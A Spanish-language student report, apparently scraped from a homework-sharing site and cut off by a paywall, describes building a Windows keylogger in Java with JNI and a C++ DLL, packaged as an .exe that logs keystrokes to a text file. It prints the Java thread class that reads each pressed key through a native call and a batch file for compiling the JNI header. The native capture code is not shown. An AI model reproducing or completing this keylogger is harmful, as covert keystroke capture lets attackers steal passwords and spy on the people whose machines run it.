Keylogger En Java

Páginas: 6 (1377 palabras) Publicado: 26 de junio de 2012
Keylogger en JAVA

Alumno:
Cristóbal Fresno
Fecha:
21/06/12
Introducción
Para crear un keylogger partí con una investigación sobre todo lo necesario sobre el tema, de esta manera descubrí que no bastaba solo con el lenguaje java sino que había que incorporar jni (java native interface) este tiene la capacidad de introducir java y otro lenguaje dentro de una aplicación en este caso java y c++.De esta manera ya tenía la base la partir desarrollando el programa.
Es importante destacar que mi objetivo es crear un keylogger en una aplicación ejecutable .exe y que se guarde en un archivo .txt.
Así mis procedimientos serán: Investigación, desarrollar la aplicación, desarrollar el printwriter para que se guarde en archivo de texto y terminar con convertirlo en un archivo .exe.
DesarrolloLuego de la investigación partí creando en Scite un archivo Keylogger.java el cual necesitaba de su archivo .class que se genera con la compilación de esta:
-------------------------------------------------
public class Keylogger extends Thread {
-------------------------------------------------
private boolean running=true;
-------------------------------------------------
private intvalue =0;
-------------------------------------------------
private native int get();
-------------------------------------------------
static {
-------------------------------------------------
System.loadLibrary("Keylogger");
-------------------------------------------------
/**
-------------------------------------------------
* Carga de la DLL-------------------------------------------------
*/
-------------------------------------------------
}
-------------------------------------------------
@Override
-------------------------------------------------
public synchronized void run(){
-------------------------------------------------
while(running){
-------------------------------------------------
value = get();-------------------------------------------------
/**
-------------------------------------------------
* Obtenemos la Tecla Presionada
-------------------------------------------------
*/
-------------------------------------------------
System.out.println((char)value);
-------------------------------------------------
/**
-------------------------------------------------
* La Mostramos en la SalidaEstándar
-------------------------------------------------
*/
-------------------------------------------------
}
-------------------------------------------------
}
-------------------------------------------------

-------------------------------------------------
}

Luego se crea el archivo CompilerJNI.bat también en Scite, este se crea para que luego con el símbolo delsistema de windows se compila con el siguiente código “javah -jni Keylogger”, así creamos el archivo Keylogger.h que es usado en el lenguaje c++.

El archivo CompilerJNI.bat se crea con los siguientes codigos:
-------------------------------------------------
@echo off
-------------------------------------------------
title Java
-------------------------------------------------
set/p j= .java :-------------------------------------------------
echo.
-------------------------------------------------
call javac %j%.java
-------------------------------------------------
call javah -jni %j%
-------------------------------------------------

-------------------------------------------------
pause
-------------------------------------------------
echo.-------------------------------------------------
exit

Seguí con crear el archivo .dll el cual se crea con el programa “Dev-C++” aquí se crea un nuevo proyecto dll, donde te aparecen 2 archivos dll.h y dllMain.cpp.
Es importante destacar que este programa requiere tener en la carpeta “include” 2 archivos los cuales se tienen que descargar adicionalmente estos son: “jni.h” y “jni_md.h”.
Ya en el programa Dev reemplazamos los códigos de...
Leer documento completo

Regístrate para leer el documento completo.

Estos documentos también te pueden resultar útiles

  • Que Es Un Keylogger
  • KeyLogger
  • solucion keylogger
  • Java
  • java
  • javo
  • Javo
  • Javiera

Conviértase en miembro formal de Buenas Tareas

INSCRÍBETE - ES GRATIS